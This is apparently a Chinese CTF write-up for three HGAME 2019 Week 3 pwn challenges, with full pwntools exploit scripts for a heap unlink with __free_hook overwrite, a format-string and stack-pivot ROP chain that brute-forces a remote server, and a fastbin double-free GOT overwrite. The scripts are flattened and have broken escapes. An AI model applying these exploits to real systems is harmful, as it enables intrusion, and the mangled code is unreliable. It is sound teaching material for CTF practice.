HGAME-Week3-Pwn
- 2019 年 10 月 8 日
- 笔记
Pwn-namebook
分析程序,看保护

64位程序仅关闭了PIE保护,使用IDAx64分析程序:


可以看到程序在申请chunk的函数中申请了长度为0x80的块,但是在edit函数中允许输入0x100的长度,因此存在unlink漏洞,思路是伪造chunk,然后进行任意地址读,读取libc加载基址,然后进行任意地址写,问题在于本程序开启了RELRO保护,导致GOT表无法被修改,而查看内存发现libc加载部分的后半部是允许写入的,那么我们可以修改freehook。

最终的exp如下:
from pwn import * import sys context.log_level='debug' # context.arch='amd64' namebook=ELF("./namebook") libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") if args['REMOTE']: sh = remote(sys.argv[1], sys.argv[2]) else: sh = process("./namebook") def creat(index,value): sh.recvuntil('>') sh.sendline('1') sh.recvuntil('index:') sh.sendline(str(index)) sh.recvuntil('name:') sh.sendline(value) def delete(index): sh.recvuntil('>') sh.sendline('2') sh.recvuntil('index:') sh.sendline(str(index)) def show(index): sh.recvuntil('>') sh.sendline('3') sh.recvuntil('index:') sh.sendline(str(index)) def reset(index,value): sh.recvuntil('>') sh.sendline('4') sh.recvuntil('index:') sh.sendline(str(index)) sh.recvuntil('name:') sh.sendline(value) creat(0,"aa") creat(1,"bb") creat(2,"cc") ptr_addr=0x602040 payload=p64(0x0)+p64(0x81) #fake presize & fake size payload+=p64(ptr_addr-0x18) #fd payload+=p64(ptr_addr-0x10) #bk payload+=0x60*'A' #paddings payload+=p64(0x80)+p64(0x90) # gdb.attach(sh,'b *0x400B96') reset(0,payload) delete(1) reset(0,'A'*24+p64(ptr_addr-0x18)+p64(namebook.got['atoi'])) show(1) atoi_addr=u64(sh.recv(6)+'x00'+'x00') log.success("We get atoi_addr! It is "+str(hex(atoi_addr))) libcbase_addr=atoi_addr-libc.symbols['atoi'] log.success("We get libc_base_addr! It is "+str(hex(libcbase_addr))) system_addr=libcbase_addr+libc.symbols['system'] log.success("We get system_addr! It is "+str(hex(system_addr))) freehook_addr=libcbase_addr+libc.symbols['__free_hook'] log.success("We get freehook_addr! It is "+str(hex(freehook_addr))) reset(0,'1'*24+p64(freehook_addr)) # gdb.attach(sh) reset(0,p64(system_addr)) reset(2,'/bin/sh') delete(2) sh.interactive()
Pwn-Steins;Gate3
分析程序,看保护

64位全保护程序,使用IDAx64分析程序发现与Steins;Gate2(Week2)相比,保护相同,但是在check4处限制了溢出长度

现在我们覆盖rbp之后只能溢出四字节,那么考虑使用栈迁移技术。 在第二次回到main函数后泄露PIE,然后再次返回main函数。 然后在第三次回到main函数是先在BSS段布置ROP
'/bin/shx00'|poprdi_addr|binsh_addr|system_addr
最后返回到sysytem函数。 写出的exp如下,gdb调试发现

已经成功进入了system函数且参数正常

但是会在system内部发生错误进而退出 最后问题解决的思路是不再在BSS上布置ROP链,改为leak栈地址。然后在栈上布置ROP。 最终exp如下:
from pwn import * import sys while True: # sh = process("./SteinsGate3") sh = remote('118.24.3.214', 12343) log.info("Turn 1!") sh.recvuntil(':') sh.sendline('error404') log.info("First Attack!") sh.recvuntil('To seek the truth of the world.n') pay = 'a'*0x30+p64(0x2333) sh.send(pay) log.info("Secound Attack!") sh.recvuntil("Repeater is nature of man.n") sh.send("%7$p") rand = int(sh.recvuntil("You")[:10],16) log.success("The rand num is:"+str(hex(rand))) sh.recvuntil("?n") rand = rand+0x1234 sh.send(p32(0x6666)*12+p32(rand)) log.info("Third Attack!") # sh.recvuntil("Payment of past debts.n") # sh.send("%11$p") # canary = int(sh.recv()[:18],16) # log.success("The canary num is:"+str(hex(canary))) # pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'xdB'+'x6d' # sh.send(pay) try: sh.recvuntil("Payment of past debts.n") sh.send("%11$p") canary = int(sh.recv()[:18],16) log.success("The canary num is:"+str(hex(canary))) pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'xdB'+'x6d' sh.send(pay) log.info("Turn 2!") sh.recvuntil(':') sh.sendline('error404') log.info("First Attack!") sh.recvuntil('To seek the truth of the world.n') pay = 'a'*0x30+p64(0x2333) sh.send(pay) log.info("Secound Attack!") sh.recvuntil("Repeater is nature of man.n") sh.send("%7$p") rand = int(sh.recvuntil("You")[:10],16) log.success("The rand num is:"+str(hex(rand))) sh.recvuntil("?n") rand = rand+0x1234 sh.send(p32(0x6666)*12+p32(rand)) log.info("Third Attack!") sh.recvuntil("Payment of past debts.n") sh.send("%13$p") PIE = int(sh.recv()[:11],16)*16*16*16 log.success("The PIE base_addr is:"+str(hex(PIE))) system_addr=PIE+0xc8b log.success("The system_addr is:"+str(hex(system_addr))) poprdi_addr=PIE+0xe83 log.success("The poprdi_addr base_addr is:"+str(hex(poprdi_addr))) poprsi_addr=PIE+0xe81 log.success("The poprsi_addr base_addr is:"+str(hex(poprsi_addr))) heap_addr=PIE+0x202048 log.success("The heap_addr base_addr is:"+str(hex(heap_addr))) binsh_addr=PIE+0x202040 log.success("The binsh_addr base_addr is:"+str(hex(binsh_addr))) pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+'xdB'+'x6d' sh.send(pay) log.info("Turn 3!") sh.recvuntil(':') sh.send('/bin/shx00') log.info("First Attack!") sh.recvuntil('To seek the truth of the world.n') pay = 'a'*0x30+p64(0x2333) sh.send(pay) log.info("Secound Attack!") sh.recvuntil("Repeater is nature of man.n") sh.send("%7$p") rand = int(sh.recvuntil("You")[:10],16) log.success("The rand num is:"+str(hex(rand))) sh.recvuntil("?n") rand = rand+0x1234 sh.send(p32(0x6666)*12+p32(rand)) log.info("Third Attack!") sh.recvuntil("Payment of past debts.n") sh.send("%12$p") stack_addr = int(sh.recv()[:14],16)-0x38 log.success("The stack_addr is:"+str(hex(stack_addr))) leaveret_addr=PIE+0xc91 log.success("The leaveret_addr is:"+str(hex(leaveret_addr))) pay = 'CCCCCCCC'+p64(poprdi_addr)+p64(binsh_addr)+p64(system_addr)+'a'*0x10+p64(0x2333)+p64(canary)+p64(stack_addr-0x38)+p64(leaveret_addr) # gdb.attach(sh) sh.send(pay) sh.interactive() break except EOFError,ValueError: sh.close() pass
关于line 89的解释,这里的stackaddr-0x38是调试确定的,在打印出栈上地址后,输入ROP链,然后进行GDB附加调试,发现布置的ROP链出现在stackaddr-0x38,于是可确定。 该exp与week 2相同,每次循环的成功率为1/16。
附:week2泄露PIE基址思路:这里我们可以在Check 4利用时使程序返回main函数,然后在第二轮运行的Check 3处leak PIE这里比较头疼的是如何返回main函数,PIE技术地址的后三位是不变的,因此可以使用低位覆盖技术,但是查看代码发现main函数的起始地址与返回地址倒数第三位不同,那么倒数第四位我们可以采取碰撞的思路。
Pwn-薯片拯救世界3
分析程序,看保护

64位程序开启了NX和Canary保护,使用IDAx64分析程序:

可以看到free之后并未将指针置0,可造成UAF漏洞,并且发现

malloc的chunk大小恰好属于fastbin范围内,那么可以利用fastbin attack 为了绕过free检查,窝们先申请两个chunk,在两次free(0)之间插入一个free(1) 又发现了程序中存在后门函数

那么我们可以通过覆写got表,将某个函数的got中的地址替换为后门函数的地址,但是malloc函数存在一个检查,我们需要找到一个合适的地址来绕过malloc函数检查。

这里可以利用stdout的0x7F来绕过malloc函数检查,但是如果选用stdout的0x7F就意味着我们只能覆写stdout之后的内存,这里可以注意到

指针数组的值在可覆写范围,那么我们可以篡改指针数组的值,这样我们在利用edit函数改写某一个“公告”的值时将会改写目标地址的值,这里我们将puts的got表地址改写为后门函数的地址即可getshell。 最终exp如下:
from pwn import * import sys # context.log_level='debug' context.arch='amd64' # file_name=ELF("./") if args['REMOTE']: sh = remote(sys.argv[1], sys.argv[2]) else: sh = process("./CSTW_3") def creat(value): sh.recvuntil('>') sh.sendline('1') sh.recvuntil(':') sh.sendline(value) print(sh.recvline()) def delete(index): sh.recvuntil('>') sh.sendline('3') sh.recvuntil(':') sh.sendline(str(index)) print(sh.recvline()) def edit(index,value): sh.recvuntil('>') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(index)) sh.recvuntil(':') sh.sendline(value) print(sh.recvline()) sh.sendline('') sh.sendline('') sh.sendline('') sh.sendline('') creat('first') creat('second') delete(0) delete(1) delete(0) creat(p64(0x60209D)) creat('malloc the second and the first* chunk') creat('malloc the second and the first* chunk') creat('a'*3+'b'*0x10+p64(0x602028)) # gdb.attach(sh) sh.recvuntil('>') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(0)) sh.recvuntil(':') sh.sendline(p64(0x400A04)) sh.interactive()